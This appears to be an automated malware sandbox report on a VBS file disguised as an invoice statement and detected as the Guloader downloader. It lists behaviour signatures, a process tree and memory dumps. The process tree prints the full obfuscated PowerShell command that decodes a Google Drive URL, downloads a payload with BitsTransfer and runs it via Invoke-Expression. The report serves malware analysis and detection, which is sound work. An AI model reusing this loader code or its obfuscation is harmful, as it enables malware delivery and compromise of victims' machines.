Analysis
- max time kernel
362s - max time network
368s - platform
windows10-2004_x64 - resource
win10v2004-20230703-en - resource tags
- submitted
09/08/2023, 10:41
General
- Target statement-Invoices-9098847251-DB_aabgaibajf0x0CCC_126KB__aabgaibajf0x0CCC.vbs
- Size 10KB
- Sample230809-mq46taae83
- SHA256 6ad1016df67ae1100b4a73b2a1bd4592fcc39a063e9446b8abda5f8a75d47420
Score
10/10
Malware Config
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Checks QEMU agent file 2 TTPs 1 IoCs
Checks presence of QEMU agent, possibly to detect virtualization.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\statement-Invoices-9098847251-DB_aabgaibajf0x0CCC_126KB__aabgaibajf0x0CCC.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Tronbe9 ([String]$Subjac){$Vianneun=$Subjac.toCharArray();For($Unsummoned=5; $Unsummoned -lt $Vianneun.count-1; $Unsummoned+=(5+1)){$healt+=$Vianneun[$Unsummoned]};$healt;}$Epithecab=Tronbe9 'CarlyhNadvetEnerntCorrepElytrsklaus:Mysti/ Geog/ NulvdforlyrRaisiiPrejuv SuboeIdeel.StjergkursuoObseroProtag ExtelIntraeGolfs.KlbescLaminoclamomLagop/ PaneuSkovvcEndop?BogstiTeetedinter=Hurti1SejldaIsari4InkroNDekupSCount9 ForsrSeddeSHalvalKandogKrydslRekru4kovalrWebdei ChamMCteniFInkohjJarooEoprrsFNonopnNarkoMStrofdFarveYBallo3LakriT FicarRevolNhalloCUforuADouchr rarecAnsttvHavarM Onei&OvergeNedrixSamenpMmedeoemancrLavhvtFlyve=PrompdshamaoBerliwDiabonCalcil AtomoNuancaThesidUnavn ';$healt01=Tronbe9 'Dropsi UdsteMadelxcanid ';$delfit = Tronbe9 'Regal\RectisOpsgnyRetirsStteswsacrioUnderwFount6Balla4Therm\SocioWPlessiGlosenMindsdProteokoebow DeissRustiPGourmoNoomiwGenneeAnkelrshareS nikhhRegeleSeniolUdafjlIdehi\Kathev Unre1Opgej.Syven0Nepho\FolkepRumano FrigwDeaneepervirFrokosLactohSuware exotlUsmaglskift.matrieKiddixUngloeCinem ';.($healt01) (Tronbe9 'Fifty$ SparRPrinsaunmonnAnsttgUnderlDanske LandrEchevnToget2Grumi=Tamar$AnmodeXanthnUdholvheter:RevalwAtomsi GnavnColordSvvesiUbetrrRense ') ;.($healt01) (Tronbe9 'Bortk$AtacadSenioeCiconlArmrifRomaniTrichthydro=Soare$KetolR AldeaTekstnEposeg Sofal UdsneServirRadsanFordj2Redak+Allel$LivvadGiesaeCaponlBeredfSynopi UnputVrtdy ') ;.($healt01) (Tronbe9 ' Uomg$ PengJ InaruSubjelvigtieStandmNedskeSnerpsDaadlsDelegeLapar2Lepid4Tides5Zinnn gawks=Agami Plow(Bleci(Fordyg NonrwFlakemUdkmpiShami CranwSoothistiftnUnsat3Carbu2Synop_PremipSlvlarpreexoKirkecTitteeFravrsAttras Hvlv davie-HecatFGulpy JeneqP AdelrPlanioBegyncPseudeDuksesGsteasIvaloIatomudMirak= Barb$Unquo{AgeusPInquiIProppDSintr}bonas)Inert.AlbatCPulmooStupamMentom HelhaFestengrunddIguanLOseejiVenstnErasme Salt)Toerr Holle- GennsNulelpRullel VensiSchiztBloka Clav[HawaicBilbrhKadmiaAlberr Frag] Styr3podni4Hurdl ');.($healt01) (Tronbe9 'Adren$FanklKZooxaolegetg lgeneDatak Spild=Mecha Flels$MesopJ Bundu GaollGenneeBandem ToteeFlokdsSmeltsBerrueDeten2 Vest4 Terr5Sherm[Nomop$ SourJ BestuQuietlCoexee Varim BondeGreedsSpecisTarapePrist2Speci4Dagge5 Fres. BlgecElskeoBalusuEfternFunktt Exce-Cellu2Luftp]Herba ');.($healt01) (Tronbe9 'Fempe$ungovPGlycohPoletolieflcBiliraVentrcorthoeSkovboRespruTelemsDoors=Kolon(YngleT Ubefe SovesDekomtPerga-UnharPVictuaResertNyskahSnowb Mena$swashdMalnueLovlslFrygtfBlideihalsttFrake) Ence Sigru- galaASkippn BygndSkole Kasse(Metal[ IncuIBystanReafftStridPSydamt Refor Alko]Magth:Thymo:SaultsTilstiUdvikzanopieRecha Diumv-InduseRoughqEline Unone8Krset)Ggele ') ;if ($Phocaceous) {.$delfit $Koge;} else {;$healt00=Tronbe9 ' AutoSKnapptFriluarestir AffytSofti-VelveBBlomsi AtritAuricsSuperTForgrrRevalaCoracnFiressslovefLashkeLeverrseedn Afgu- DrawSAnhngoGesteusparerBarsecSquireEnchr Stof$PadclETranspCosmoiDiscotMaggyhMucroePortccTekstaInterbTrabe vedke-GeigeDLetbee Fajis PuretMeteoiClairn CollaCamphtSeddeiRmegao LushnGalva Treyh$ BondRSandbaHarvnnUomgngUnreslInbureBekosrFarnenUnfix2Glyco ';.($healt01) (Tronbe9 'Skvad$SnderRShetla OvernBaldrgGuestlVrikkeFuzzirRedaknSamhr2 Cres= Frem$Albate UnipnForervMisgu:SlagsamiljapOmisspBilledProceaGnuertHabeaaFrihj ') ;.($healt01) (Tronbe9 'FeltmIDaredm ProcpBemuzoTurcorTranmtCourt-SjlekMLummooLiflidProreuWeltelKlimaeTelec MegalBanonyihelvetNdtrfsRringT FangrKvleraDelstnStartsThreofLivsleSliberRagme ') ;$Ranglern2=$Ranglern2+'\Nittenaari.Sam';while (-not $Carpet) {.($healt01) (Tronbe9 'Indvi$robotCKrligaUntolr maksp Crawe PoketInvad=Autod(AdmirTgausseOverwsCapsitAlmon-fortpPfuselaSkrabtTaraphIndta Brut$ DecoRVaabeaPurlonReallgarbejlsnapsePhotorMisidn Ungp2Snerp)Lastb ') ;.($healt01) $healt00;.($healt01) (Tronbe9 'DoryaSAugmetBegloa UndirIndent Unta-YammaSArbejlTvangekropseAbbedpVsens Xeno5Cocai ');}.($healt01) (Tronbe9 'Ugenn$ForkmT skelrSpejloMinisn tilvbTocoreForsg Param= Jabe StampGBlodheKrafttRizzl-AstroC OutpoNringn KonftBulleeFollinSkudltSyncr Varsl$SelvaROleasaBestin Stragamfibl DveseRenumrLeovenLongo2Sekul ');.($healt01) (Tronbe9 'Artik$nedslSOpsigeStnindHennydTofageEstrelStemmpFlymerTilst Reass=Teatr Indse[MuggvSPartiy TangsBabyltKenoteUnderm Barr.PrincC GrazoUndivnHiattv PlaceNavlerVignetbukse] Grum:Imagi:StoryFVittir EpigoUdartmMelipBGravaaLnovesTordeetaksi6Drmme4GarriSSquattVillorVaudeiOplivn SejtgFedts(Kurnd$MilleTEnfierGimleoTaksanBawdybAarsielrers)Mayac ');.($healt01) (Tronbe9 'Nitri$skmtehShirtepseudaDrinklReekst Vide2Laane Boghv=Laker Flovn[HovmoSUnfaiyOrchisSognetPosteeTransmDawkd.BerthTVicareOceanxrugegt Rets.AfdecE ParinRendecMentooResendUnnoti LavenMacrogClops]Trykm:Bimeb:UdsmyAPhoniSSycamCBagerIHydroIPenet. PostGHomewe GoldtTagseSAlphatCrankrReseriTrancn EnthgSorry(Rytme$AstriSBsseseDdpundAfterd FifleHverdlHebrapMoslerCarin)Obitu ');.($healt01) (Tronbe9 ' Nonl$VansmFFrugtoAstrac SammaBookmlPolitiProeqzPetal= Hand$ReteahinsofeSrkataProgrlIsoent Colo2blust.IntagsPenuluEjidobWandesDobsotSabatrLnmodi PumpnShandgMarsh(Rufga2nydia7 Nond5Stats8Radio2 Afsl3Embon,Gider2 Post5Solid0Retni8Korre0 Ralf)Preli ');.($healt01) $Focaliz;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Tronbe9 ([String]$Subjac){$Vianneun=$Subjac.toCharArray();For($Unsummoned=5; $Unsummoned -lt $Vianneun.count-1; $Unsummoned+=(5+1)){$healt+=$Vianneun[$Unsummoned]};$healt;}$Epithecab=Tronbe9 'CarlyhNadvetEnerntCorrepElytrsklaus:Mysti/ Geog/ NulvdforlyrRaisiiPrejuv SuboeIdeel.StjergkursuoObseroProtag ExtelIntraeGolfs.KlbescLaminoclamomLagop/ PaneuSkovvcEndop?BogstiTeetedinter=Hurti1SejldaIsari4InkroNDekupSCount9 ForsrSeddeSHalvalKandogKrydslRekru4kovalrWebdei ChamMCteniFInkohjJarooEoprrsFNonopnNarkoMStrofdFarveYBallo3LakriT FicarRevolNhalloCUforuADouchr rarecAnsttvHavarM Onei&OvergeNedrixSamenpMmedeoemancrLavhvtFlyve=PrompdshamaoBerliwDiabonCalcil AtomoNuancaThesidUnavn ';$healt01=Tronbe9 'Dropsi UdsteMadelxcanid ';$delfit = Tronbe9 'Regal\RectisOpsgnyRetirsStteswsacrioUnderwFount6Balla4Therm\SocioWPlessiGlosenMindsdProteokoebow DeissRustiPGourmoNoomiwGenneeAnkelrshareS nikhhRegeleSeniolUdafjlIdehi\Kathev Unre1Opgej.Syven0Nepho\FolkepRumano FrigwDeaneepervirFrokosLactohSuware exotlUsmaglskift.matrieKiddixUngloeCinem ';.($healt01) (Tronbe9 'Fifty$ SparRPrinsaunmonnAnsttgUnderlDanske LandrEchevnToget2Grumi=Tamar$AnmodeXanthnUdholvheter:RevalwAtomsi GnavnColordSvvesiUbetrrRense ') ;.($healt01) (Tronbe9 'Bortk$AtacadSenioeCiconlArmrifRomaniTrichthydro=Soare$KetolR AldeaTekstnEposeg Sofal UdsneServirRadsanFordj2Redak+Allel$LivvadGiesaeCaponlBeredfSynopi UnputVrtdy ') ;.($healt01) (Tronbe9 ' Uomg$ PengJ InaruSubjelvigtieStandmNedskeSnerpsDaadlsDelegeLapar2Lepid4Tides5Zinnn gawks=Agami Plow(Bleci(Fordyg NonrwFlakemUdkmpiShami CranwSoothistiftnUnsat3Carbu2Synop_PremipSlvlarpreexoKirkecTitteeFravrsAttras Hvlv davie-HecatFGulpy JeneqP AdelrPlanioBegyncPseudeDuksesGsteasIvaloIatomudMirak= Barb$Unquo{AgeusPInquiIProppDSintr}bonas)Inert.AlbatCPulmooStupamMentom HelhaFestengrunddIguanLOseejiVenstnErasme Salt)Toerr Holle- GennsNulelpRullel VensiSchiztBloka Clav[HawaicBilbrhKadmiaAlberr Frag] Styr3podni4Hurdl ');.($healt01) (Tronbe9 'Adren$FanklKZooxaolegetg lgeneDatak Spild=Mecha Flels$MesopJ Bundu GaollGenneeBandem ToteeFlokdsSmeltsBerrueDeten2 Vest4 Terr5Sherm[Nomop$ SourJ BestuQuietlCoexee Varim BondeGreedsSpecisTarapePrist2Speci4Dagge5 Fres. BlgecElskeoBalusuEfternFunktt Exce-Cellu2Luftp]Herba ');.($healt01) (Tronbe9 'Fempe$ungovPGlycohPoletolieflcBiliraVentrcorthoeSkovboRespruTelemsDoors=Kolon(YngleT Ubefe SovesDekomtPerga-UnharPVictuaResertNyskahSnowb Mena$swashdMalnueLovlslFrygtfBlideihalsttFrake) Ence Sigru- galaASkippn BygndSkole Kasse(Metal[ IncuIBystanReafftStridPSydamt Refor Alko]Magth:Thymo:SaultsTilstiUdvikzanopieRecha Diumv-InduseRoughqEline Unone8Krset)Ggele ') ;if ($Phocaceous) {.$delfit $Koge;} else {;$healt00=Tronbe9 ' AutoSKnapptFriluarestir AffytSofti-VelveBBlomsi AtritAuricsSuperTForgrrRevalaCoracnFiressslovefLashkeLeverrseedn Afgu- DrawSAnhngoGesteusparerBarsecSquireEnchr Stof$PadclETranspCosmoiDiscotMaggyhMucroePortccTekstaInterbTrabe vedke-GeigeDLetbee Fajis PuretMeteoiClairn CollaCamphtSeddeiRmegao LushnGalva Treyh$ BondRSandbaHarvnnUomgngUnreslInbureBekosrFarnenUnfix2Glyco ';.($healt01) (Tronbe9 'Skvad$SnderRShetla OvernBaldrgGuestlVrikkeFuzzirRedaknSamhr2 Cres= Frem$Albate UnipnForervMisgu:SlagsamiljapOmisspBilledProceaGnuertHabeaaFrihj ') ;.($healt01) (Tronbe9 'FeltmIDaredm ProcpBemuzoTurcorTranmtCourt-SjlekMLummooLiflidProreuWeltelKlimaeTelec MegalBanonyihelvetNdtrfsRringT FangrKvleraDelstnStartsThreofLivsleSliberRagme ') ;$Ranglern2=$Ranglern2+'\Nittenaari.Sam';while (-not $Carpet) {.($healt01) (Tronbe9 'Indvi$robotCKrligaUntolr maksp Crawe PoketInvad=Autod(AdmirTgausseOverwsCapsitAlmon-fortpPfuselaSkrabtTaraphIndta Brut$ DecoRVaabeaPurlonReallgarbejlsnapsePhotorMisidn Ungp2Snerp)Lastb ') ;.($healt01) $healt00;.($healt01) (Tronbe9 'DoryaSAugmetBegloa UndirIndent Unta-YammaSArbejlTvangekropseAbbedpVsens Xeno5Cocai ');}.($healt01) (Tronbe9 'Ugenn$ForkmT skelrSpejloMinisn tilvbTocoreForsg Param= Jabe StampGBlodheKrafttRizzl-AstroC OutpoNringn KonftBulleeFollinSkudltSyncr Varsl$SelvaROleasaBestin Stragamfibl DveseRenumrLeovenLongo2Sekul ');.($healt01) (Tronbe9 'Artik$nedslSOpsigeStnindHennydTofageEstrelStemmpFlymerTilst Reass=Teatr Indse[MuggvSPartiy TangsBabyltKenoteUnderm Barr.PrincC GrazoUndivnHiattv PlaceNavlerVignetbukse] Grum:Imagi:StoryFVittir EpigoUdartmMelipBGravaaLnovesTordeetaksi6Drmme4GarriSSquattVillorVaudeiOplivn SejtgFedts(Kurnd$MilleTEnfierGimleoTaksanBawdybAarsielrers)Mayac ');.($healt01) (Tronbe9 'Nitri$skmtehShirtepseudaDrinklReekst Vide2Laane Boghv=Laker Flovn[HovmoSUnfaiyOrchisSognetPosteeTransmDawkd.BerthTVicareOceanxrugegt Rets.AfdecE ParinRendecMentooResendUnnoti LavenMacrogClops]Trykm:Bimeb:UdsmyAPhoniSSycamCBagerIHydroIPenet. PostGHomewe GoldtTagseSAlphatCrankrReseriTrancn EnthgSorry(Rytme$AstriSBsseseDdpundAfterd FifleHverdlHebrapMoslerCarin)Obitu ');.($healt01) (Tronbe9 ' Nonl$VansmFFrugtoAstrac SammaBookmlPolitiProeqzPetal= Hand$ReteahinsofeSrkataProgrlIsoent Colo2blust.IntagsPenuluEjidobWandesDobsotSabatrLnmodi PumpnShandgMarsh(Rufga2nydia7 Nond5Stats8Radio2 Afsl3Embon,Gider2 Post5Solid0Retni8Korre0 Ralf)Preli ');.($healt01) $Focaliz;}"3⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2008 -s 21204⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2008 -ip 20081⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_0dzhawyb.bl2.ps1
memory/2008-166-0x0000000007920000-0x0000000007F9A000-memory.dmp
memory/2008-169-0x0000000007360000-0x00000000073F6000-memory.dmp
memory/2008-182-0x0000000077A11000-0x0000000077B31000-memory.dmp
memory/2008-181-0x0000000008B00000-0x000000000BC70000-memory.dmp
memory/2008-180-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/2008-147-0x0000000004A30000-0x0000000004A66000-memory.dmp
memory/2008-148-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/2008-149-0x0000000004B30000-0x0000000004B40000-memory.dmp
memory/2008-167-0x0000000006640000-0x000000000665A000-memory.dmp
memory/2008-151-0x0000000005130000-0x0000000005152000-memory.dmp
memory/2008-152-0x0000000005810000-0x0000000005876000-memory.dmp
memory/2008-153-0x0000000005880000-0x00000000058E6000-memory.dmp
memory/2008-163-0x00000000060B0000-0x00000000060CE000-memory.dmp
memory/2008-179-0x0000000077A11000-0x0000000077B31000-memory.dmp
memory/2008-178-0x0000000008B00000-0x000000000BC70000-memory.dmp
memory/2008-177-0x0000000008B00000-0x000000000BC70000-memory.dmp
memory/2008-150-0x0000000005170000-0x0000000005798000-memory.dmp
memory/2008-176-0x0000000007790000-0x0000000007791000-memory.dmp
memory/2008-174-0x0000000004B30000-0x0000000004B40000-memory.dmp
memory/2008-170-0x00000000072C0000-0x00000000072E2000-memory.dmp
memory/2008-171-0x0000000008550000-0x0000000008AF4000-memory.dmp
memory/2008-172-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/2008-173-0x00000000076F0000-0x0000000007704000-memory.dmp
memory/3760-168-0x000001A96CAC0000-0x000001A96CAD0000-memory.dmp
memory/3760-138-0x000001A96CA60000-0x000001A96CA82000-memory.dmp
memory/3760-165-0x000001A96CAC0000-0x000001A96CAD0000-memory.dmp
memory/3760-143-0x00007FFD52390000-0x00007FFD52E51000-memory.dmp
memory/3760-164-0x00007FFD52390000-0x00007FFD52E51000-memory.dmp
memory/3760-145-0x000001A96CAC0000-0x000001A96CAD0000-memory.dmp
memory/3760-146-0x000001A96CAC0000-0x000001A96CAD0000-memory.dmp
memory/3760-144-0x000001A96CAC0000-0x000001A96CAD0000-memory.dmp
memory/3760-185-0x00007FFD52390000-0x00007FFD52E51000-memory.dmp